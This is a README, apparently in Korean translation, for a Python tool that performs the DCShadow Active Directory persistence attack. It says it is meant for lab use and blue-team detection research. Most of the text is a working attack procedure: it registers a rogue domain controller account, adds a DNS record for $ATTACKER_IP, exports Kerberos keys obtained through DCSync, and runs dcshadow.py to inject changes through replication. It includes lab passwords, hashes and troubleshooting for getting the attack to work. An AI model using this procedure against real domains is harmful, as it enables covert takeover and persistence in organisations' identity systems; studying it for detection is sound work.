
Python alternative to Mimikatz lsadump::dcshadow
[!WARNING] 프로덕션 환경에서 실행하지 마십시오. 이 도구는 랩 테스트용으로, 블루 팀이 IoC, 이벤트 유형 및 동작을 식별하는 작업을 하기 위한 것입니다. 또한 이 도구는 있는 그대로 제공됩니다. 여러분이 만들고자 하는 풀 리퀘스트에 대한 표준 검토 외에는 지원 계획이 없습니다. Windows 호스트에서 실행하지 마십시오. Linux 또는 VM에서 실행하세요(RPC 서비스 충돌 방지).
이 프로젝트는 Mimikatz의 dcshadow 기법에 대한 순수 파이썬 대안을 목표로 합니다. 여기에는 수정된 crypto, gssapi, drsuapi 등을 포함한 커스텀 Impacket이 포함됩니다.
DCShadow는 SID history, KRBTGT RBCD, ACE abuse 등 다른 기법을 위한 전송 수단으로 간주될 수 있는 강력한 지속성(persistence) 기법입니다.
이 도구는 더 다양한 AD 지속성 프레임워크의 기반이 될 수 있으며, 커뮤니티가 이 문제에 대한 전반적인 성숙도를 높이는 데 사용될 수 있습니다.
이 도구는 GOAD에서 테스트되었습니다.
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket
이 컴퓨터는 복제가 진행되는 동안 도메인 컨트롤러로 등록되며, 종료 시 등록이 해제됩니다.
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug
[!WARNING] adcomputer.py는
msDS-SupportedEncryptionTypes를0x1f로 설정하도록 수정되었습니다. 최신 테스트에서는 제약 조건 위반(constraint violation)이 발생하는 것으로 보입니다.[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket Traceback (most recent call last): File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps raise Exception(str(ldapConn.result)) Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'} [-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}지금은 Impacket의 일반 addcomputer.py 스크립트를 사용하고, ADSI 편집을 통해
msDS-SupportedEncryptionTypes를 수동으로 수정하세요.
정식 DC가 Rogue DC에 연결하는 방법을 알고 ERROR_DS_DNS_LOOKUP_FAILURE 오류를 피하는 데 필요합니다.
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"
[!TIP] 명령이 어떤 이유로 작동하지 않으면 도메인 컨트롤러의 DNS 도구를 통해 DNS 항목을 수동으로 추가하세요.
이 도구 개발을 시작할 때 우리는 dcshadow/utils/server/RpcServer.py 파일의 gss_kerberos_ap_req 함수에 로드되는 .env 파일에 하드코딩된 자격 증명을 사용하고 있었습니다.
이 부분은 확실히 개선이 필요합니다. Rogue DC 계정의 비밀번호를 CLI 인수로 전달하고 Kerberos 키를 계산할 수 있습니다. Krbrelayx와 dacledit.py는 이미 그렇게 하고 있으므로, 해당 코드를 복사해서 붙여넣으면 됩니다.
지금은 Kerberos 키를 환경 변수로 내보내야 합니다.
다음과 같아야 합니다:
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc
이 키는 DCSync 공격을 통해 검색할 수 있습니다.
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"
[!TIP] 이 경우
repl.json파일을 사용하여 대상 개체와 특성을 지정합니다. 또는 도구는 인라인 옵션(예:--object,--attribute,--value)을 지원합니다.
DRSReplicaAdd가 시간 초과되면 dcshadow.py(Rogue DC)를 실행 중인 컴퓨터의 네트워킹/방화벽 문제일 가능성이 높습니다. 135/TCP(epmapper) 및 1337/TCP(또는 향후 구현될 drsuapi용 동적 포트)로 들어오는 트래픽을 허용하지 않고 있을 수 있습니다.
정식 도메인 컨트롤러에서 Wireshark를 실행해 봐야 하겠지만, 가장 가능성 높은 근본 원인은 Windows 컴퓨터에서 이 도구를 실행하려고 하기 때문입니다. 정식 DC가 Rogue DC의 epmapper에 drsuapi 엔드포인트 포트를 요청하면, 응답하는 것이 우리의 커스텀 epmapper가 아니라 Windows 컴퓨터 자체의 epmapper이므로 응답이 비어 있게 됩니다.
이 프로젝트는 개발 과정에서 만난 재능 있는 연구자 Alessandro Iandoli "MrAle98"의 엄청난 도움 없이는 불가능했을 것입니다. 감사합니다, Alessandro!
크레딧은 초기 발견, 발표, 그리고 Mimikatz 구현을 해준 Benjamin Delpy와 Vincent Letoux에게 돌아갑니다.
초기 개발에 참여한 Volker에게도 감사를 전하고 싶습니다.
Dramelac에게는 PoC를 모듈식 프로젝트로 발전시키는 데 도움을 주신 것에 감사드립니다. 이는 혹시 그렇게 된다면, 미래 프레임워크를 위한 기반입니다.